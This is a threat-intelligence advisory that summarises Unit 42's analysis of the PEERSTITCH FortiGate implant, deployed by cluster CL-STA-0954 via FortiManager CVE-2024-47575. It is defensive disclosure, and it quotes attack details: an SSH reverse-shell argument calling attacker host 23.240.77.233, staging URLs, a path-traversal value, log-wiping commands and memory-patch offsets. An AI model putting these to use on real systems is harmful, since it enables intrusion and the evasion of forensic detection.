# PEERSTITCH: Stealthy Memory-Resident FortiGate Implant Deployed via FortiManager CVE-2024-47575 by CL-STA-0954 (UNC5820)

> Unit 42 reports PEERSTITCH, a 64-bit ARM64 Linux memory-resident implant that patches FortiOS miglogd and iked via ptrace, leaving no persistent binary on disk, no listening ports and no outbound connections of its own. It was deployed by suspected nation-state cluster CL-STA-0954 (aka UNC5820) after CVE-2024-47575 (FortiJump) exploitation of a FortiManager at a telecommunications MSP in September 2024, exposing 500+ managed FortiGate configurations.

- **Published:** 2026-10-14T22:32:55Z
- **Last reviewed:** 2026-10-14T22:32:55Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-3558
- **ID:** TL-2026-3558
- **Severity:** CRITICAL (CVSS 9.8)
- **Category:** MALWARE
- **Status:** ACTIVE
- **Actor:** CL-STA-0954
- **Detections:** 9 · **IOCs:** 28 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2024-47575, CVE-2025-61624, CVE-2024-26008, CVE-2024-26009

## Description

In September 2024 the actor exploited CVE-2024-47575, a missing-authentication flaw (CWE-306) in the FortiManager FGFM/FMG-Access channel (TCP 541), against a telecommunications managed service provider. The actor registered a rogue Virtual FortiGate named 'localhost' (serial FMG-VMTM23017412) and exfiltrated the .tm configuration archive covering 500+ managed FortiGate devices, including credentials and cryptographic material. Rogue registrations were observed from 45.32.41.202 and 198.199.122.22.

Post-exploitation reconnaissance used packet-capture rules targeting HTTP, TFTP (UDP 69), RADIUS (UDP 1812-1813) and LDAP (TCP 389), and interception of eleven TCP ports (3696-3706) to harvest credentials and map topology. The actor then abused the FortiOS CLI system.auto-script engine, which Unit 42 attributes to a path traversal flaw tracked as CVE-2025-61624 ('../../../../setup' traversal object), to escalate from admin to root and run staged scripts. Anti-forensics included killall -9 miglogd and syslogd before auto-scripts ran, 'diagnose debug crashlog clear', and automatic deletion of rogue admin accounts, VPN groups and auto-script objects.

Staging files were downloaded from hxxp://23.240.77.233:8085/ and hxxp://47.18.167.159:8085/: pM.js (self-deleting environment preparation), a.js saved as index.js (Emscripten runtime), a.wasm saved as index.wasm, b.js saved as ipssem.js (deployment orchestrator) and dd saved as lldprx (native ARM64 ELF injector). ipssem.js launched lldprx with the arguments 'lldprx!index.js!index.wasm!ipssem.js!lldprx!yyyy!pM.js'. lldprx unlinked its own binary and terminated the staging process.

PEERSTITCH is a 64-bit ARM64 ELF, statically linked against glibc, and acts as a one-shot process-memory patching injector against /bin/miglogd and /bin/iked. It parses /proc/<pid>/cmdline and /proc/<pid>/maps, attaches with ptrace(PTRACE_SEIZE) and PTRACE_INTERRUPT, and runs a bootstrap stub issuing mmap (X8=0xDE) for 0x4000 bytes RWX. It then writes a 1,344-byte payload through /proc/<pid>/mem. The hook builds a covert IPC bridge between the two daemons: it inspects passive traffic with strstr() for markers (TCP port 8550, IP 169.254.0.1), extracts session tokens of up to 31 bytes into a 16-slot ring buffer at offset +0x0F0, and writes across processes via /proc/<counterpart_pid>/mem. Three NOP patches (0xAA0003E0) at base+0x106F7B8, +0x1072E20 and +0x109A570, plus a 20-byte trampoline at base+0x135102C, divert execution into the RWX buffer and bypass FortiOS security validations.

A separate C2 path weaponized Apache mod_md (ACME). The actor wrote ../../tmp/apache2/conf/md-acme.conf via path traversal, pointed account.json at attacker ACME endpoints on 23.240.77.233:8084, and mapped MDChallengeDns01 to /bin/node so that ACME renewal executed commands (MDRenewMode 'always' gave persistent polling). An SSH reverse shell was injected as 'kali@23.240.77.233:8084:b -F /tmp/upfile/ssh_config -i'. The config was later overwritten with decoy content. CVE-2024-26008 (FGFM unauthenticated session reset) and CVE-2024-26009 (FGFM authentication bypass using the FortiManager serial) are listed by Unit 42 as possible mechanisms for the tunnel-management drops and FGFM impersonation observed. Unit 42 assesses attribution to suspected nation-state activity at medium confidence, tracked as CL-STA-0954 and aligned with Mandiant's UNC5820, which exploited CVE-2024-47575 on 50+ FortiManagers since June 27, 2024. Unit 42 stresses that patching does not evict the actor; trust material and credentials must be rotated.

## MITRE ATT&CK

- T1190 Exploit Public-Facing Application
- T1059.007 JavaScript
- T1055.008 Ptrace System Calls
- T1055.008 Ptrace System Calls
- T1070.004 File Deletion
- T1685 Disable or Modify Tools
- T1136 Create Account
- T1040 Network Sniffing
- T1005 Data from Local System
- T1071.001 Web Protocols
- T1572 Protocol Tunneling
- T1021.004 SSH

## Sources

- [Unit 42 Uncovers PEERSTITCH, a Stealthy FortiGate Implant](https://unit42.paloaltonetworks.com/fortimanager-cve-2024-47575-peerstitch-malware/)
- [NVD - CVE-2024-47575](https://nvd.nist.gov/vuln/detail/CVE-2024-47575)
- [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- [Mandiant says new Fortinet FortiManager flaw has been exploited since June (BleepingComputer)](https://www.bleepingcomputer.com/news/security/mandiant-says-new-fortinet-fortimanager-flaw-has-been-exploited-since-june/)
- [Fortinet warns of critical FortiManager flaw (The Hacker News)](https://thehackernews.com/2024/10/fortinet-warns-of-critical.html)
- [CVE-2024-47575 FAQ about FortiJump zero-day (Tenable)](https://it.tenable.com/blog/cve-2024-47575-faq-about-fortijump-zero-day-in-fortimanager-fortimanager-cloud)
- [FortiManager critical 0-day exploited in the wild FG-IR-24-423 aka FortiJump (Orange Cyberdefense)](https://www.orangecyberdefense.com/se/insikter/nyheter-och-press/fortimanager-critical-0-day-vulnerability-exploited-in-the-wild-fg-ir-24-423-aka-fortijump)
- [NVD - CVE-2025-61624](https://nvd.nist.gov/vuln/detail/cve-2025-61624)
- [CVE-2025-61624 (Wiz Vulnerability Database)](https://www.wiz.io/vulnerability-database/cve/cve-2025-61624)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-3558